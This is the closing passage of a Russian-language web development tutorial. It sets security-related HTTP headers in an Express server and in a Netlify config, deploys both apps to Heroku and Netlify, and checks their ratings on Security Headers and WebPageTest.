Обратите внимание: все директивы должны быть указаны в одну строку без переносов. Мы не определяем директивы для стилей и шрифтов, поскольку они загружаются из других источников.
Также обратите внимание, что мы не используем nonce
для скриптов, поскольку мы не рендерим разметку на стороне сервера, но я приведу соответствующий код.
index.js
:
const express = require('express') // утилита для генерации уникальных значений // const crypto = require('crypto') // создаем экземпляр Express-приложения const app = express() // посредник для генерации `nonce` /* const getNonce = (_, res, next) => { res.locals.cspNonce = crypto.randomBytes(16).toString('hex') next() } */ // посредник для установки заголовков // 31536000 — 365 дней // 86400 — 1 сутки const setSecurityHeaders = (_, res, next) => { res.set({ 'X-Content-Type-Options': 'nosniff', 'X-Frame-Options': 'DENY', 'X-XSS-Protection': '1; mode=block', 'Cross-Origin-Resource-Policy': 'same-site', 'Cross-Origin-Opener-Policy': 'same-origin-allow-popups', 'Cross-Origin-Embedder-Policy': 'require-corp', 'Referrer-Policy': 'no-referrer', 'Strict-Transport-Security': 'max-age=31536000; includeSubDomains', 'Expect-CT': 'enforce, max-age=86400', 'Content-Security-Policy': `object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests`, 'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()' }) next() } // удаляем заголовок `X-Powered-By` app.disable('x-powered-by') // подключаем посредник для генерации `nonce` // app.use(getNonce) // подключаем посредник для установки заголовков app.use(setSecurityHeaders) // определяем директорию со статическими файлами app.use(express.static('public')) // определяем порт const PORT = process.env.PORT || 3000 // запускам сервер app.listen(PORT, () => { console.log('Сервер готов') })
Выполняем команду yarn dev
или npm run dev
(разумеется, на вашей машине должен быть установлен Node.js
). Данная команда запускает сервер для разработки и открывает вкладку браузера по адресу http://localhost:3000
.
Отлично! Теперь развернем приложение на Heroku
и проверим его безопасность с помощью Security Headers
и WebPageTest
.
Деплой Express-приложения на Heroku
Создаем аккаунт на Heroku
.
Глобально устанавливаем Heroku CLI
:
yarn global add heroku # или npm i -g heroku
Проверяем установку:
heroku -v
Находясь в корневой директории проекта, инициализируем Git-репозиторий (разумеется, на вашей машине должен быть установлен git
), добавляем и фиксируем изменения (не забудьте добавить node_modules
в .gitignore
):
git init git add . git commit -m "Create secure app"
Создаем удаленный репозиторий на Heroku
:
# авторизация heroku login # создание репо heroku create # подключение к репо git remote -v
Разворачиваем приложение:
git push heroku master
Инструкцию по развертыванию приложения на Heroku
можно найти здесь.
После выполнения этой команды, в терминале появится URL
вашего приложения, развернутого на Heroku
, например, https://tranquil-meadow-01695.herokuapp.com/
.
Перейдите по указанному адресу и проверьте работоспособность приложения.
Заходим на Security Headers
, вставляем URL
приложения в поле enter address here
и нажимаем на кнопку Scan
:
Получаем рейтинг приложения:
В Supported By
читаем Вау, отличная оценка...
.
Заходим на WebPageTest
, вставляем URL
приложения в поле Enter a website URL...
и нажимаем на кнопку Start Test ->
:
Получаем результаты оценки приложения (нас интересует первая оценка — Security score
):
Похоже, мы все сделали правильно. Круто!
Деплой приложения на Netlify
Переносим файлы favicon.png
, index.html
, script.js
и style.css
из папки public
в отдельную директорию, например, netlify
.
Для настройки сервера Netlify
используется файл netlify.toml
. Создаем данный файл в директории проекта. Нас интересует только раздел [[headers]]
:
[[headers]] for = "/*" [headers.values] X-Content-Type-Options = "nosniff" X-Frame-Options = "DENY" X-XSS-Protection = "1; mode=block" Cross-Origin-Resource-Policy = "same-site" Cross-Origin-Opener-Policy = "same-origin-allow-popups" Cross-Origin-Embedder-Policy = "require-corp" Referrer-Policy = "no-referrer" Strict-Transport-Security = "max-age=31536000; includeSubDomains" Expect-CT = "enforce, max-age=86400" Content-Security-Policy = "object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests" Permissions-Policy = "camera=(), microphone=(), geolocation=(), payment=()"
for = "/*"
означает для всех запросов;[header.values]
— заголовки и их значения (просто переносим их из Express-сервера с учетом особенностей синтаксиса).
Глобально устанавливаем Netlify CLI
:
yarn global add netlify-cli # или npm i -g netlify-cli
Проверяем установку:
netlify -v
Авторизуемся:
netlify login
Можно запустить сервер для разработки (это необязательно):
netlify dev
Данная команда запускает приложение и открывает вкладку браузера по адресу http://localhost:8888
.
Разворачиваем приложение в тестовом режиме:
netlify deploy
Выбираем Create & configure a new site
, свою команду (например, Igor Agapov's team
), оставляем Site name
пустым и выбираем директорию со сборкой приложения (у нас такой директории нет, поэтому оставляем значение по умолчанию — .
):
Получаем URL
черновика веб-сайта (Website Draft URL
), например, https://60f3e6013d0afb2ce71a5623--infallible-pasteur-d015e7.netlify.app
. Можно перейти по указанному адресу и проверить работоспособность приложения.
Разворачиваем приложение в продакшен-режиме:
netlify deploy -p
-p
или--prod
означает производственный режим.
Получаем URL
приложения (Website URL
), например, https://infallible-pasteur-d015e7.netlify.app/
. Опять же, можно перейти по указанному адресу и проверить работоспособность приложения.
Инструкцию по развертыванию приложения на Netlify
можно найти здесь.
Возвращаемся на Security Headers
и WebPageTest
и проверяем, насколько безопасным является наше Netlify-приложение:
Кажется, у нас все получилось!
Заключение
Подведем итоги. Мы с вами вкратце изучили все HTTP-заголовки, связанные с безопасностью веб-приложений, разработали серверное и бессерверное приложения с аналогичным функционалом и получили лучшие оценки безопасности для данных приложений на Security Headers
и WebPageTest
. По-моему, очень неплохо для одной статьи.
Надеюсь, что вы не зря потратили время. Благодарю за внимание и хорошего дня!
ссылка на оригинал статьи https://habr.com/ru/company/timeweb/blog/568288/
Добавить комментарий